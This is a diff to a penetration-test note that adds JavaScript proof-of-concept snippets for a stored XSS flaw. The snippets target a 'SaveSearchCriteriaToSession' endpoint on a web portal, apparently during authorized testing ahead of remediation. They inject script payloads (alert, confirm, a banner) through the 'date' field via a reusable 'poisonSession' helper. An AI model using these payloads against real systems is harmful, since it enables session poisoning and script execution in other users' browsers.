updates

Career/Microlise/Session Stored XSS PENTEST.md

@@ -428,10 +428,73 @@ Master procedure: **Replicating the vulnerability** section above.
 | Should it still be fixed?  | **Yes**, as hygiene                 |
 | Priority vs SQLi / IDOR?   | **Much lower** (informational)      |
 
-## Next step
+## Code snippets
 
-1.  **Reproduce** on cert/UAT (`replicate-vuln` todo).
-2.  **Implement** fixes in `D:\_dev\WebPortal` (`remediate-encode`, `remediate-validate`).
-3.  **Replay** steps and fill comparison matrix (`remediate-retest` todo).
+### Reset:
 
-Confirm execution when ready to change WebPortal code.
+```
+fetch('ScheduleExecutionBoard.aspx/SaveSearchCriteriaToSession', {
+  method: 'POST',
+  credentials: 'include',
+  headers: { 'Content-Type': 'application/json; charset=utf-8' },
+  body: JSON.stringify({
+    searchID: '0.X', orderID: '0.X',
+    date: '2026-05-27', time: '00:00', hours: 24,
+    displayPriorityJourneys: false, quickSearch: ''
+  })
+}).then(() => location.reload());
+```
+
+### Alert
+
+```
+fetch('ScheduleExecutionBoard.aspx/SaveSearchCriteriaToSession', {
+  method: 'POST',
+  credentials: 'include',
+  headers: { 'Content-Type': 'application/json; charset=utf-8' },
+  body: JSON.stringify({
+    searchID: '0.X',
+    orderID: '0.X',
+    date: '"+alert(1)+"',
+    time: '00:00',
+    hours: 24,
+    displayPriorityJourneys: false,
+    quickSearch: ''
+  })
+}).then(r => console.log(r.status, r.statusText));
+```
+
+### Poison Session
+
+```
+function poisonSession(field, payload) {
+  const body = {
+    searchID: '0.X',
+    orderID: '0.X',
+    date: '2026-05-27',
+    time: '00:00',
+    hours: 24,
+    displayPriorityJourneys: false,
+    quickSearch: ''
+  };
+  body[field] = payload;
+  return fetch('ScheduleExecutionBoard.aspx/SaveSearchCriteriaToSession', {
+    method: 'POST',
+    credentials: 'include',
+    headers: { 'Content-Type': 'application/json; charset=utf-8' },
+    body: JSON.stringify(body)
+  }).then(r => console.log(field, r.status, r.statusText));
+}
+```
+
+### Confirm / prompt (alternative dialog evidence)
+
+```
+poisonSession('date', '"+confirm("XSS: SEB session poisoned")+"');
+```
+
+### Visible banner
+
+```
+poisonSession('date', '"+document.body.insertAdjacentHTML("afterbegin","<div style=\\"position:fixed;top:0;left:0;right:0;background:red;color:white;z-index:99999;padding:12px;text-align:center\\">XSS PoC — arbitrary script executed in SEB context</div>")+"');
+```